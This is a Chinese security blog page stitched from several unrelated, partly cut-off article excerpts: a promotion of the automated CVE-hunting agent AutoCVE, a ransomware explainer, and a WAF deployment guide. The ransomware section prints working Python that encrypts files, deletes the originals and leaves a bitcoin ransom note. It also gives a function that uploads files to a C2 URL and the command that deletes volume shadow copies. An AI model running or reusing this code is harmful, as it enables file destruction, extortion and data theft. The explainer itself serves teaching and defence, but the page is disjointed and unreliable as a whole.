AutoCVE-一周30个CVE：这个Agent把CVE挖掘全流程自动化了 依靠手工去寻找CVE到底会有多么的困难？很多曾经有过相关经历去做过这件事的人内心之中都是非常清楚的很。筛选项目，寻觅开源仓库，对环境进行配置来运行SAST，手动去过滤很多误报情况，从Sink往回追溯Source来分析数据流，撰写PoC来进行验证，整理英文方面的报告……这样一套流程走下来，短的时候是几天长的时候是几周，大部分的时间都花费在重复的劳动上面，留给思考的时间没有多少。最近我瞧见有一个刚刚发布出来的开源项目叫做 AutoCVE。该项目的作者，把CVE挖掘的那一系列的流程都交托给Agent去自动化地进行操作。这流程包含了选项目、导仓库、审代码、验漏洞、写报告这类步骤。这并非是 PPT 形式的项目。官方进行的测试是一周时间，并且是全自动运行的，获取到了 30 个 CVE 编号，还涉及 14 个开源项目。最高的 CVSS 评分达到了 9.9 ，整个过程可是完全没有人工干预的。在发布两周之后，GitHub 上的星数就突破了 1000 。它到底做了什么？AutoCVE并非是那种将代码随便扔给大模型进行胡乱聊天的套壳类型的项目。它是专门为CVE挖掘场景所设计的 Multi-Agent 审计平台。它具备完整的产品界面、工作流编排、沙箱隔离、工具权限控制这些东西。它进行了好多工程上面的优化，来解决LLM审计发散、不收敛、乱报漏洞这类的问题。整个流程是处于全自动化的状态。从项目的筛选起始，随后是仓库的导入，之后开展创建审计任务的操作，再之后实施Agent漏洞挖掘的行为，最终生成CVE申报报告。用户将报告的内容进行复制下来之后提交上去，便可以完成后续的CVE申请事宜。自动进行筛选项目的操作。你仅仅需要告知它需要挖掘多少个CVE，它自身就会从GitHub上面去寻找适合进行审计的开源项目。自动地将代码导入到仓库之中，接着自动地把代码拉取到本地的工作区域当中。依据项目的规模情况以及相应的配置状况去进行审计模式的选取，随后自动地开展审计任务的创建。存在着 5个专职的Agent 来开展多Agent协同审计工作，此5个Agent分别有着不一样的分工情况，并且各自去履行其自身所承担的职责。于沙箱之内运行PoC以动态验证漏洞，与此同时将误报状况予以过滤掉。自动地生成那CVE的报告，输出那种符合CVE申报格式的报告，能够进行复制粘贴然后提交。用户首先需要将模型进行配置操作完毕，随后便等待模型运行结束，紧接着把报告进行复制的动作完成，之后进行CVE的提交操作，这样就视为完成了相关的一系列流程。5个Agent怎么分工？通过Orchestrator统一调度Recon、Scan、Triage、Finding和Verification等Agent，协同完成信息收集、工具扫描、误报过滤、漏洞深挖与动态验证：整个工作流由Orchestrator统一调度，每个Agent只干自己擅长的事：Recon（侦察）：分析项目情况——什么语言、什么框架、入口文件在哪、哪些路径优先审计Scan（扫描）：调用Semgrep、Bandit这些现成SAST工具先跑一轮规则扫描Triage（分诊）：对Scan出来的结果做人工复核，把明显误报过滤掉，补充证据Finding（挖掘）：核心审计Agent，通过源码追数据流，构造攻击链，挖高价值0dayVerification（验证）：在Docker沙箱里动态运行PoC，验证漏洞是否真的能打，不靠猜AutoCVE当前支持 三种审计模式，可根据不同的审计目标选择：交互式审计与全过程追踪AutoCVE拥有着完备的交互能力。那完整的审计过程会被视作会话的上下文。用户可以围绕着审计的结果继续进行追问，让Agent去补充证据、去解释攻击链、去完善复现的步骤又或者是去扩展漏洞的分析 。可以展开查看每个工具调用的详细信息：输入$便可以显示出来并且调用相应的Skill。要是没有指定模型的话，系统会根据任务自动去匹配合适的Skill 。可视化审计追踪模块集中展示活动日志、Agent Tree、工具调用、阶段进度、初步报告和审计会话，方便复盘每次审计的执行路径与关键过程：智能化漏洞管理审计发现的漏洞由Agent调用工具自动提交，经过去重后以结构化形式入库，并在漏洞管理模块中统一维护：AutoCVE的漏洞报告会由Agent自动结构化生成，包含Summary、DetAIls、PoC、Impact、Remediation、Disclosure Notes、Affected products、CVSS、CWE、Suggested CVE description等字段，可复制用于从GitHub Advisory提交漏洞报告：还支持根据实际需求为不同Agent配置专属Skills，灵活扩展各Agent的能力边界：实际成果：一周30个CVE说再多不如看战果。官方一周测试，全自动跑下来共拿到 30个CVE，覆盖的都是真实有用户量的开源项目，不是靶场。CVE编号项目漏洞类型CVSSCVE-2026-48765typebot.io授权绕过9.9CVE-2026-43986TautulliSSRF9.9CVE-2026-43984Tautulli存储型XSS8.9CVE-2026-43985TautulliCSRF8.8CVE-2026-41235froxlor授权错误8.8CVE-2026-46372SillyTavernSSRF8.5CVE-2026-48763typebot.io权限缺失8.2CVE-2026-48764typebot.ioSSRF8.2CVE-2026-40904Chartbrew越权访问8.1CVE-2026-40600Chartbrew越权访问8.1CVE-2026-45260pimcore权限缺失8.1...还有19个SQL注入/RCE/硬编码密钥等3.7-8.1涉及的项目包含 xxl-job、JeecgBoot、o2oa、Lemmy、Chartbrew、BentoML、typebot.io、OpenReplay、SillyTavern、pimcore、froxlor、Tautulli、filebrowser、craftcms —— 14个项目，其中不少是数万Star的热门项目。部署和使用部署非常简单，一行Docker命令搞定，不需要自己搭环境：# Linux/macOS/Git Bash curl -fsSL https://raw.githubusercontent.com/larlarua/AutoCVE/v1.0.5/docker-compose.prod.yml | Docker compose -f - up -dWindows PowerShell/CMD也一样：curl.exe -fsSL https://raw.githubusercontent.com/larlarua/AutoCVE/v1.0.5/docker-compose.prod.yml | Docker compose -f - up -d启动完访问：前端界面：http://localhost:3000API文档：http://localhost:8000/docs流程实际上是挺简单的。首要的是配置你那个 LLM API Key ，它能够支持比如 OpenAI、DeepSeek 等各式各样的模型。随后可以挑选导入项目，或者开启一键 CVE 这个功能。紧接着就是等着 Agent 把流程给跑完。再之后到漏洞管理那边去查看相应的结果。最后导出报告并且提交 CVE 。一点感受AI代码审计并非是什么全新的事物。以往存在着不少类似的项目。但是大多数要么仅仅处于demo的水平，拿不上台面，要么就是弄一个空壳子来调用API，要是真的想要挖掘漏洞还是得依靠人去进行操作。AutoCVE比较难得的地方在于它是真真正正从产出CVE这个目标往回倒推来进行工程化打造的产品，并非是为了展示AI而去弄AI。多Agent分工、Triage过滤误报、Verification沙箱验证、Nudge纠偏、结构化输出这些细节方面，是实际运用LLM去审计代码的时候会碰到的坑，作者都想到了而且还给出了解决的办法。30个真实CVE的战果便是最好的证明——这玩意儿确实能挖出漏洞来。它并非是用来取代安全研究员的。恰恰相反——它将人从筛项目、跑工具、写报告这类重复劳动中解放出来，让人把精力投放到真正需要思考的复杂漏洞逻辑上去。对于很多想要去挖掘CVE但是效率比较低的人，又或者企业里很多要进行批量审计开源组件的团队而言，这个工具是值得去尝试一下的。项目地址GitHub：https://github.com/larlarua/AutoCVE项目才刚刚推出了v1.0.5版本，还在不断地快速进行更新迭代。要是你对它感兴趣的话，那就可以到上面去点一个Star、提出一个Issue相关的，或者自己把它运行起来，去尝试着找找CVE 。⚠️ 重要提醒：工具仅可用于授权安全研究，绝对禁止在未授权情况下扫描他人系统。提交漏洞时请遵循负责任披露规范。服务器推荐

十个 AI Agent 渗透测试工具推荐，最后一个最适合手工党 从事AI安全相关的工作已经有一段时间了。在这一段时间里，GitHub上面的AI渗透测试工具那可就跟爆发了似的一下子多了起来。今儿个就来跟大家讲讲当下比较热门的十个项目，给很多想要在这个方面尝试一下的朋友们当作参考。服务器推荐服务器推荐：

勒索病毒技术拆解与预防，更好的保护你的数据 前一阵子帮朋友处理一台被勒索病毒加密了的服务器，数据库全都被锁住，桌面上有勒索信，要求是0.3个比特币。处理完之后觉得得把这事儿完完整整地从开头到结尾拆解开来解说清楚。只有弄清楚了攻击的原理，才能够知道防护的重点到底是什么。声明：本文所有代码仅用于安全研究和教学目的，编写、传播恶意软件属于违法行为。一、勒索病毒的核心原理勒索病毒的本质其实非常简单，核心流程只有三步：入侵：通过各种途径进入目标系统加密：使用加密算法锁定用户文件勒索：留下勒索信息，要求支付赎金换取解密密钥加密所采用的是标准的AES以及RSA算法，这些算法它自身是属于合法的，银行还有HTTPS都在运用着它们。可问题就在于，密钥就只是在攻击者的手里边，受害者是没有那个解密的能力的。实际上真正导致大规模破坏的乃是其传播的机制。早期的勒索病毒主要是借助钓鱼邮件的附件来进行传播。而现如今更多的则是直接去扫描公网的IP，运用未打上补丁的漏洞以及弱口令这类的方式来实施入侵。在入侵之后通常并不会立刻就发作，而是先在局域网之内进行横向的移动，尽可能地去感染更多的机器，等到合适的时机，比如说周末没人值守的时候，再统一地去执行加密操作。我遇到了一个典型的情况。病毒是在周五晚上的时候侵入进来的，它潜伏隐藏了有两天，直到周一早上全公司开启计算机的时候才触发了加密操作。就连备份服务器都被加密，这是因为备份硬盘一直是挂接在服务器上面的，结果被病毒一块儿给搞了。二、常见勒索病毒类型分析1. 经典加密型（Crypto Ransomware）这乃是极为基础且颇为常见之类型。存在比如WannaCry、Locky、CryptoLocker这类代表家族。其特点可是十分简单直接：入侵之后便会去遍历磁盘，对文档、图片、数据库、压缩包等用户文件实施AES加密，还会去修改文件后缀名，然后就在每个目录里面放置勒索信。这类病毒其技术层面的门槛是比较低的。但是它的破坏能力却是十分强大的。这是因为它所采用的加密运用的是已经成熟了的标准算法。要是密钥处理得不错的话，在不存在私钥的时候，从理论上来说是没有办法去进行解密的。2. 双重勒索型（Double Extortion）近些年来很流行这样的一种模式。有像Conti、REvil、DarkSide等这样的家族来代表着它。它比那单纯的加密可要厉害得多。在对文件进行加密之前，先把比如商业机密、客户信息、财务数据等这类敏感的数据神不知鬼不觉地就上传到攻击者的服务器，然后再去执行本地的加密操作。这也就意味着，就算你拥有完整的备份从而能够恢复数据，但是攻击者依旧还是有可能会对泄露你的数据进行威胁，并且拿这个事情来进行施压让你支付赎金。有不少企业因为害怕数据泄露会影响到商誉或者遭遇到合规方面的处罚，只能够依从（攻击者的要求）。而后甚至发展成为三重勒索的情况，既对泄露数据进行威胁，又会发动DDoS攻击，还会去通知客户或者监管机构。3. 蠕虫传播型（Worm-style）代表的是WannaCry以及NotPetya这类病毒。这类病毒存在着一个最大的特点，那就是能够自己进行复制并且还能够主动地进行传播，不需要用户去点击什么东西。WannaCry所利用的是NSA所泄露出来的EternalBlue（永恒之蓝）漏洞，它针对Windows SMB协议的445端口来发起攻击，能够在局域网里面自动地进行扫描、自动地进行入侵、自动地进行传播，没过几个小时就能够把一个机构的所有机器都给感染了 。这类病毒发作起来的速度是极其迅速的。要是你察觉到有机器遭受到了感染，到那个时候常常整个内部网络已经大面积地被感染了。4. 勒索即服务（RaaS, Ransomware as a Service）当下黑产的主流运营模式便是这般，LockBit、BlackCat/ALPHV、Play等便是其代表。技术团队开发好了勒索病毒的整套工具，这里边包含生成器、C2面板、解密工具、数据泄露网站。之后招募加盟攻击者也就是affiliates。加盟攻击者不需要懂得技术，只要能够获取到目标网络的权限，就可以拿现成的病毒去进行攻击，赎金按照比例来进行分成。RaaS模式使得勒索攻击的门槛变得极其之低，这便是近些年来勒索事件呈现出爆发式增长的关键缘故所在。5. 定向攻击型（Big Game Hunting）这类针对大型企业、医院、政府机关、关键基础设置等具有高价值的目标所实施的攻击行为，并非是进行广泛范围的扫描，而是有着明确的目标指向。会花费数周乃至数月的时间去进行侦察活动，对目标网络的拓扑结构、域环境状况以及备份策略等进行研究，甚至会首先对备份系统进行破坏，在确认一切准备就绪之后才发起攻击行动，像Colonial Pipeline输油管道被攻击就是一个典型的示例。三、技术实现拆解（教育目的）想要去理解防护方面的逻辑，那我们就来瞧一瞧一个最为简单的概念演示情况。这是一个仅仅是为了理解原理的玩具性质的版本，只是对特定目录进行加密处理，不进行传播行为、不连接网络、不执行删除备份的操作，在运行之后密钥就直接被打印出来。基础加密型演示我们用Python的cryptography库来演示，Fernet是一个封装好的对称加密库，使用AES-CBC模式：import os from cryptography.fernet import Fernet def generate_key(): """生成加密密钥""" return Fernet.generate_key() def encrypt_file(file_path, key): """加密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: original_data = file.read() encrypted_data = f.encrypt(original_data) # 写入加密后的文件 with open(file_path + '.locked', 'wb') as encrypted_file: encrypted_file.write(encrypted_data) # 删除原文件 os.remove(file_path) def decrypt_file(file_path, key): """解密单个文件""" f = Fernet(key) with open(file_path, 'rb') as file: encrypted_data = file.read() decrypted_data = f.decrypt(encrypted_data) original_path = file_path.replace('.locked', '') with open(original_path, 'wb') as decrypted_file: decrypted_file.write(decrypted_data) os.remove(file_path) if __name__ == '__main__': key = generate_key() target_dir = './test_files' print(f"密钥（丢失则无法恢复）: {key.decode()}") # 递归遍历所有子目录 for root, dirs, files in os.walk(target_dir): for filename in files: if filename.endswith('.locked'): continue file_path = os.path.join(root, filename) encrypt_file(file_path, key) print(f"已加密: {file_path}") with open(os.path.join(target_dir, 'README_RESTORE.txt'), 'w') as note: note.write("你的文件已被加密。\n") note.write("支付xxx比特币到钱包地址xxx以获取解密工具。\n")测试看看加密当前目录下的test_files他的文件后缀全部变成了 locked，如果没有密匙文件，是无法解密的随后留下一个文本，让你支付比特币这个版本不到50行代码，但你可以看出它和真正勒索病毒的差距：密钥管理这一块，玩具版是在本地生成密钥，在运行的时候就直接给打印出来。而真实的勒索病毒，是把RSA公钥硬编码在病毒里头，在本地随机生成AES密钥去加密文件，接着用RSA公钥把AES密钥加密之后发送到C2服务器。私钥就只在攻击者的服务器那边，逆向病毒也是没办法拿到的。玩具版的遍历范围乃是仅仅对指定的test_files目录进行加密。而真实的病毒会去遍历所有的盘符，比如本地磁盘、网络共享盘、U盘，甚至于云盘同步目录都会进行遍历。并且真实的病毒会有选择性地去加密用户的文件，像是文档、数据库、图片这类，它不会去触碰系统文件，因为要是系统文件被加密从而导致系统无法启动了，那就没有人会支付赎金了。反恢复之手段：真实的病毒会做出如下这些行径，运用vssadmin delete shadows /all /quiet来删除卷影副本，禁用系统之还原功能，停止备份服务，并且还会将Windows备份目录予以删除 。对抗分析这一块，存在有加壳这样的操作，还有反调试的手段，反沙箱的措施，检测虚拟机环境的状况，以及延迟执行的状况，比如说等待好几个小时才开始加密，通过这样的方式来绕过沙箱的动态分析时间窗口。双重勒索的额外步骤双重勒索只是在加密之前增加一个数据外传的环节：import requests def exfiltrate_file(file_path, c2_url): """外传文件到C2服务器""" # 只外传小于某个阈值的重要文件，避免大文件传输太慢被发现 if os.path.getsize(file_path) < 10 * 1024 * 1024: # 小于10MB with open(file_path, 'rb') as f: files = {'file': (os.path.basename(file_path), f)} try: requests.post(c2_url, files=files, timeout=10) except: pass # 外传失败不影响加密流程在那真实的环境状况之中，最先将会去开展压缩的操作，随后会去开展分块传输的相关动作，并且还会借助加密代理又或者是Tor网络来把C2地址给隐藏起来 。蠕虫传播的核心逻辑在蠕虫传播的相关情况里，存在着一部分技术含量比较高的内容。其核心之处在于漏洞的利用。就以永恒之蓝这个例子来讲，需要去构造特殊的SMB请求包，然后将这个构造好的SMB请求包发送到目标的445端口。当触发了漏洞之后就会执行shellcode，随后就去下载病毒的本体来进行执行。而这一部分并没有稳定且通用的代码可以用来进行演示，这是因为漏洞的利用和系统的版本、补丁的状态是紧密相关联的。这便是RaaS模式可以获取利益的缘由所在。去编写一个稳定的漏洞利用exp是需要具备极为强大的技术能力的。一般的攻击者是没办法弄出这类exp的。那么他们就只能够去购买相关的服务。真实病毒还会做的事停止数据库服务（SQL Server、MySQL、Oracle等），因为数据库文件运行时被占用，加密不了删除Windows事件日志，清除入侵痕迹修改注册表实现开机自启关闭或杀掉杀毒软件进程清除系统还原点和备份枚举局域网共享和域内机器，进行横向移动遍历RDP连接记录和保存的凭据，扩大感染范围四、企业防护方案我从事安全工作已经有了一些时日。我察觉到这么一个状况，众多企业出现问题，并非是由于某些高深的零日漏洞相关的原因，而是跌倒在了极为基础的问题之上。举例而言没有打上补丁、存在弱口令、备份盘始终处于连接状态、端口通通暴露在公共网络之上。防护，简单来说就是那么一些个事情，但是真正能够把这些个事情切实做到位的企业那可真是没多少。1. 备份是最后一道防线这是唯一能让你在被加密后不需要付赎金的方案。但备份有几个关键原则：3 - 2 - 1备份准则所指的是，需要起码有3份数据的副本。这些副本得存储在2种不同的介质之上。并且其中要有1份要处于离线状态或者存放在异地。离线的意思就是在物理层面上相互隔离，并非是那种处于公司内网里的另一台服务器，借助内网横向移动就可以把它一同进行加密的这种情形。备份的磁盘不可以一直处于挂载的状态。有很多人将移动硬盘插到服务器上面来进行备份操作，结果在病毒进行加密的时候连备份的磁盘一块儿给加密了。正确的做法是在备份完成之后把连接断开，要不然就使用备份软件的一次性挂载的功能。定期去进行恢复方面的演练是十分重要的。存在着许多这样的事例，有备份的情况，但是当真正到了需要进行恢复的时候，却发现备份已经损坏了、版本也不对头，而且备份软件还没有人会使用。所以仅仅做完备份是远远不够的，还得定期去测试是否能够顺利恢复才行。云服务器需要开启快照功能。云快照是存储在云厂商所提供的对象存储之中的，它和你的实例是相互分离的状态，病毒是没有办法接触到它的。你可以去设置自动快照的策略，每天开展快照操作，保留的时间为7到30天。倘若出现问题了，一键进行回滚操作，要比重装恢复快上很多。2. 堵住入侵入口大多数攻击就从这几个地方进来：关于RDP/SSH出现暴力破解这种情况的话：不要采用密码来进行登录，而是应该运用密钥。不要直接把3389、22端口暴露在公共的网络上面，要么对默认的端口进行更改，要么设置IP白名单只准许公司的IP来进行访问，最为好的方式是通过VPN或者跳板机去进行访问。钓鱼邮件这种情况，人是比较容易出现问题的所在。是得去开展安全培训，不过仅仅依靠培训可还是不够的。在技术方面是要用上邮件网关，来过滤可执行附件、恶意链接以及宏文档。Office的宏默认是处于关闭的状态，可别随随便便就去启用它。漏洞补丁相关状况：在WannaCry爆发的时候，补丁已经发布两个月了。必须去构建补丁管理方面的流程，关键的安全补丁得及时地进行打上，可千万不能拖拖拉拉的。特别是针对面向公网的系统而言，漏洞公开之后，在24小时之内就很有可能会被大规模地进行扫描利用。当扫描器进行扫描的时候，能够发现比如Redis没有密码、数据库存在弱口令、后台有admin/admin这样的情形、还有SMB匿名访问等方面的问题。必须要定期开展内部的弱口令扫描工作。所有的服务都得设置成强密码，并且还要关闭掉不必要的默认账号。3. 最小权限和网络隔离在日常进行运维操作的时候，不要去使用root或者管理员这类的账号。业务程序得用普通用户的权限来进行运行。要把Web目录的权限给设置妥当，不要给予很多没有必要的写权限。有很多的webshell能够获取到权限，就是因为Web目录的权限太大了，直接就可以去修改文件、添加计划任务。服务器仅仅只是用于运行网站而已，那么445 SMB端口没有必要处于开启的状态，135 RPC端口也没有必要处于开启的状态，3389端口同样也没有必要处于开启的状态。得采用最小化安装的这种方式，仅仅开启很多需要用到的端口以及服务。办公网络、业务服务器区域、数据库区域、管理区域之间需要进行ACL访问控制操作。不可以让整个内网全部都能够互相通信，如果一台办公计算机感染了病毒，那么就有可能直接去访问数据库服务器。服务器彼此之间也不要全部都能够互相通信，Web服务器只可以访问它所需要的数据库端口，其余的都得予以拒绝。服务器以及办公电脑都必须去安装EDR或者是杀毒软件，可不要不安装软件就直接去使用。当下的EDR能够检测到勒索行为，要是发现有进程在进行批量加密文件的操作，它便能够直接进行阻止。4. 云服务器特别注意接触过很多中小团队用云服务器，几个坑反复踩：在安全组配置这一块的情况来讲，有相当多的人在购买了服务器之后，安全组默认是处于完全开放的状态就不再去进行理会了。实际上安全组只应当开放必要的端口，像是80和443端口开着就可以。而对于数据库端口，比如说3306、6379、5432这类的，绝对不可以对公网进行开放，只能够允许内网来进行访问。云控制台必须要确保安全。服务器的密码应当足够强，而云控制台的密码则需要更为强大才行。并且还要开启MFA双因素认证。假如控制台被登录了，那么对方不需要去破解你的服务器，直接就在控制台能够卸载你的云盘，之后把它挂载到他自己的机器上读取数据。必须得开启自动快照这个功能。云厂商所赠送的这个自动快照如同后悔药一般。自动快照的成本是相当低的。快照的费用可比赎金便宜好多。得去设置自动快照的策略，可别等到想起来了再手动去进行拍摄。选云服务器的时候，可不要仅仅把目光聚焦在CPU和内存的价格上面。得去查看一下快照是如何进行收费的，安全组到底好不好用，有没有基础的DDoS防护，售后能不能够联系得到人。这些平常看起来好像没什么用处的东西，可是真的出现问题的时候，那可就是能够起到救命作用的东西。现在

纵深防御，雷池 + ModSecurity企业级双重 WAF 环境搭建 对于雷池的文章我还有这几篇，包括常见的https配置、雷池+frp反代，以及其他的试用方法都有https://mp.weixin.qq.com/s/3JLrkymD7d46IaWbQup4wQhttps://mp.weixin.qq.com/s/Nvkx7Qdacmm9wx6OpJbejAhttps://mp.weixin.qq.com/s/VBD12Ttwh8JS1oQLC_4gWAhttps://mp.weixin.qq.com/s/z0NU3V4RASBFoE_cG0js7A本篇文章主要讲解halo和雷池的搭建过程，以及防护流量走向，架构设计等等算上自己上班时间，这篇文章总耗时7天+，自认为是一篇非常不错的文章，建议收藏转发，共5k+字，防止后面找不到了在写这篇文章期间遇到过很多部署问题，不过已经被我小羽全部解决了通过本篇文章可以避免很多问题，帮助您搭建属于自己的防护环境，即使您没有任何WAF搭建的经历，也可以通过本篇文章来学习企业级WAF环境搭建的完整流程完整总体网络拓扑架构互联网流量 │ ▼ ┌─────────────┐ │ WAF-A │ 第一层（外层） │ (如雷池) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ WAF-B │ 第二层（内层） │ (如ModSec) │ └──────┬──────┘ │ 反代 ▼ ┌─────────────┐ │ halo │ 真实后端 └─────────────┘若读过我这篇文章的师傅们，2025最新教程，使用雷池搭建内网靶场，进行简单的WAF绕过搭配上本篇文章的教学，完全能搭建出如下架构的企业级防护环境，再牛逼点，自己再配个系统加固的防护应用为什么要采用这样的架构？不同的WAF产品拦截规则、检测的算法一般都是不同的，如果攻击者绕过了第一层WAF，那么第二层就不一定能绕过了，这才是核心价值，非常恶心的是，现实环境中还真有人这么干，层层防护，做系统加固一般这样的架构第一层WAF，用来拦截常见的攻击手法比如漏扫 / CC，第二层针对真实的业务进行定制拦截，两层分贝专注不同的威胁，如果不嫌流量太多，那你可以全开，这样做的好处就是减少日志分析的压力服务器选购

从零开始搭建自己的中转站 服务器选购，这种中转站建议用海外的，就不推荐